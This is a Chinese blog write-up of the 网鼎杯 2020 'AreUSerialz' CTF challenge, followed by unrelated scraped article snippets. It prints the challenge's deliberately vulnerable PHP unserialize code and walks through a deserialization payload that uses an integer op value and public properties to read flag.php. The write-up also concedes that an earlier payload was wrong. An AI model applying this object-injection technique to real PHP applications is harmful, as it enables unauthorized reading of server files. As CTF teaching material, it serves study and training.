[网鼎杯 2020 青龙组]AreUSerialz

embedded/2024/12/23 7:29:32/

[网鼎杯 2020 青龙组]AreUSerialz

1.将源代码放到本地php环境中进行调试

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}

2.解题思路

1.通过GET方式进行传参,传给变量str;
2.通过is_valid()函数判断进来的数据大于等于32并且小于等于125;
3.通过反序列化将str的字符串转换成对象。 我们想成功读取文件flag.php的话,需要判断以下条件 (1)我们在写保护的函数中,需要满足的条件是变量content不能大于100; (2)要想触发写保护的话,需要满足的条件是public
function process() 中的op == “1”; (3)要想到写保护的话,需要触发__construct函数
(4)__construfct函数,构造函数,当创建对象时自动调用

4.根据上述代码分析,当$op值强比较=\==不等于str(2),弱比较==等于2
(\$this->op === "2")//不等于字符串类型的 2
(\$this->op == "2") //弱等于2 即可为int(2)

3.所以触发__destruct()方法也没关系,正常构造即可

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op = '1';    //这里有问题,后面会讲述到protected $filename = 'flag.php';public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}$test = new FileHandler;
var_dump(urlencode(serialize($test)));

4.通过URL解码,我们发现了在属性opfilename前面有乱码
在这里插入图片描述
5.使用十六进制进行和查看,可以看到%00%2A%00,因为opfilenameprotected的属性,
在序列化的过程中会被转换成%00*%00,然而浏览器会将%00当成空值,因此无法获得flag

在这里插入图片描述
6.我还以为抓包就能绕过这题,但是思路错了,使用bp或者yakit进行传参后面发现这种方法不得行
在这里插入图片描述
在这里插入图片描述
7.只能利用php7的版本对属性的不敏感绕过,需要纠正前面payload的错,op的应该是整型,及int()的类型,正确的payload如下所示

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {public  $op = 2;public $filename = 'flag.php';}$test = new FileHandler;
//var_dump(serialize($test));
var_dump(serialize($test));

在这里插入图片描述

在这里插入图片描述

8.查看源代码,即可获得flag
在这里插入图片描述

在这里插入图片描述


http://www.ppmy.cn/embedded/9334.html

相关文章

npm常用命令详解

npm&#xff08;Node Package Manager&#xff09;是Node.js的包管理工具&#xff0c;它允许用户安装、更新、卸载和管理Node.js项目的依赖。下面将详细介绍一些常用的npm命令及其用法。 1. 安装依赖 1.1 安装全局包 全局安装一个npm包&#xff0c;意味着这个包可以在任何位…

224 基于matlab的优化工具箱优化函数

基于matlab的优化工具箱优化函数&#xff0c; 此工具箱中提供的算法包括&#xff1a; 灰狼优化器&#xff08;GWO&#xff09;&#xff0c;蚂蚁狮子优化器&#xff08;ALO&#xff09;&#xff0c;多功能优化器&#xff08;MVO&#xff09;&#xff0c;蜻蜓算法&#xff08;DA&…

JAVA后端面试

一、基础 1、创建对象的方法 new、反射、clone、反序列化 Class cl Class.forName("TestMe"); 2、有哪些引用类型 强引用、软引用、弱引用、虚引用 3、JVM 类加载机制 双亲委派机制&#xff08;Parent-Delegate Model&#xff09;是Java类加载器中采用的一种…

AI绘画免费软件哪个好?宝藏AI绘画工具分享

AI绘画免费软件哪个好&#xff1f;在数字艺术日益普及的今天&#xff0c;AI绘画免费软件成为越来越多创作者和艺术爱好者的首选工具。这些软件利用先进的深度学习算法和计算机视觉技术&#xff0c;能够模拟出各种绘画风格和技巧&#xff0c;帮助我们快速生成精美的艺术作品。这…

程序员缓解工作压力的小窍门

目录 1.概述 2.工作与休息的平衡 3.心理健康与自我关怀 4.社交与网络建设 1.概述 作为程序员&#xff0c;缓解工作压力是非常重要的。压力太大有可能会写很多bug。我们可以采取以下方法来保持高效和创新&#xff0c;同时维护个人健康和工作热情。 定时休息&#xff1a;保持…

【学习笔记】耳分解与无向图的双连通性

感觉之前对于这方面的理解还是不够深入。 1.1 1.1 1.1 在无向图 G ( V , E ) G(V,E) G(V,E)中&#xff0c;有一个子图 G ′ ( V ′ , E ′ ) G(V,E) G′(V′,E′)&#xff08;不一定是导出子图&#xff0c;其实只看 V ′ V V′就好了&#xff09;&#xff0c;若简单路径或简单…

基于springboot实现英语知识应用网站系统项目【项目源码+论文说明】

基于springboot实现英语知识应用网站系统演示 摘要 随着信息技术在管理上越来越深入而广泛的应用&#xff0c;管理信息系统的实施在技术上已逐步成熟。本文介绍了英语知识应用网站的开发全过程。通过分析英语知识应用网站管理的不足&#xff0c;创建了一个计算机管理英语知识应…

C语言项目实践——贪吃蛇

引言&#xff1a;本篇博客中&#xff0c;我将会使用结构体&#xff0c;链表&#xff0c;WIN32 API等一系列知识完成C语言项目——贪吃蛇的实现。在观看此篇博客之前&#xff0c;请将这些知识所熟悉&#xff0c;不然可能会造成理解困难。 更多有关C语言的知识详解可前往个人主页…